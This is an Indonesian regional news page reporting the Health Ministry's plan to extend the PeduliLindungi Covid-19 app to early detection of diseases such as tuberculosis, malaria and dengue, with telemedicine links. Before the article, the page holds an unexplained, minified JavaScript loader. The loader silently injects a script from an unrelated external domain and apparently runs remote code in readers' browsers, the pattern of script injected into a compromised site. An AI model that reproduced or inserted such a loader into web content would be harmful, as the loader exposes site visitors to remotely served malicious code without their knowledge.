(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Kementerian Kesehatan atau Kemenkes RI memastikan pihaknya akan menjadikan aplikasi PeduliLindungi untuk deteksi dini penyakit menular yang masih jadi wabah atau kejadian luar biasa (KLB) di Indonesia, salah satunya tuberkulosis (TB).
Sehingga menurut Chief Digital Transformation Office Kementerian Kesehatan, Setiaji, St, M.Si, nantinya aplikasi PeduliLindungi tidak hanya diperuntukan untuk penanganan pandemi Covid-19.
“Jadi memang benar, PeduliLindungi platform besar yang bisa dikembangkan buat penyakit menular lainnya. Ini akan jadi platform layanan kesehatan,” ujar Setiaji dalam acara diskusi Digital Health Week, Selasa (30/11/2021).
Salah satu penyakit KLB itu di antaranya TBC, dan KLB lainnya seperti Malaria, Demam Berdarah (DBD), dan sebagainya.
Baca juga:Â Cegah Corona Varian Omicron, Puan Minta Pengawasan Aturan Baru Karantina Ekstra Ketat!
Bahkan kata Setiaji, nantinya PeduliLindungi tidak akan berdiri sendiri, tapi akan terkoneksi dengan platform lain penyedia konsultasi online atau telemedicine dengan dokter.
“Ada sinergi dengan konsultasi telemedicine dikombinasikan dalam platform-platform lainnya. Konfirmasi medical record Indonesia, untuk deteksi dini penyakit di Indonesia,” tuturnya.
Adapun potensi PeduliLindungi terlihat, karena sudah lebih dari 200 juta penduduk Indonesia telah mengakses aplikasi PeduliLindungi, dengan setiap harinya sebanyak 9 juta orang mengakses aplikasi tracing Covid-19 tersebut.
Di sisi lain, pandemi Covid-19 jadi cikal bakal pemerintah mengatasi kesenjangan akses layanan kesehatan di Indonesia, yang dibatasi kondisi geografis khususnya pedalaman Tanah Air.
Baca juga:Â Terobos Perkampungan Banjir HST, Pengungsi Tidur di Lokasi Terbuka Jalan ke Persawahan
Sehingga, nantinya sistem kesehatan Indonesia yang terintegrasi akan memungkinkan masyarakat mendapatkan layanan kesehatan yang tercanggih, sekalipun sedang tidak berada di ibukota, Jakarta. (Suara.com)
Editor: suara
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.